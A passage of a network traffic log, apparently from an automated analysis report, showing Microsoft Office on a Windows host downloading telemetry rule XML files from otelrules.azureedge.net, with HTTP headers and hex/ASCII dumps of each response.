2024-11-23 16:45:37 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:37 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:37 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164537Z-178bfbc474bw8bwphC1NYC38b400000004fg00000000fnn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:38 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:39 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f77b0594-001e-0014-3c66-3b5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164539Z-178bfbc474bscnbchC1NYCe7eg00000004sg00000000kw5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:39 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164539Z-178bfbc474bh5zbqhC1NYCkdug00000004p0000000009zg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:38 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:39 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164539Z-178bfbc474b9fdhphC1NYCac0n00000004k000000000k05y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:45:39 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:39 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164540Z-178bfbc474brk967hC1NYCfu6000000004m0000000004efq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:39 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164540Z-174c587ffdf9xbcchC1TEBxkz40000000340000000004bc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:41 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164541Z-178bfbc474bq2pr7hC1NYCkfgg00000004sg00000000hr2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 6dd5ded1-501e-0078-0f57-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164541Z-15b8b599d88hr8sfhC1TEBbca4000000033g0000000079rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1aea6c4a-501e-005b-1055-3dd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164541Z-15b8b599d88wn9hhhC1TEBry0g000000036000000000fnaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:45:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:42 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a8ea751-101e-007a-417b-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164542Z-178bfbc474bw8bwphC1NYC38b400000004h000000000ct7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:42 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164542Z-15b8b599d88qw29phC1TEB5zag000000037g0000000055wx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:43 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
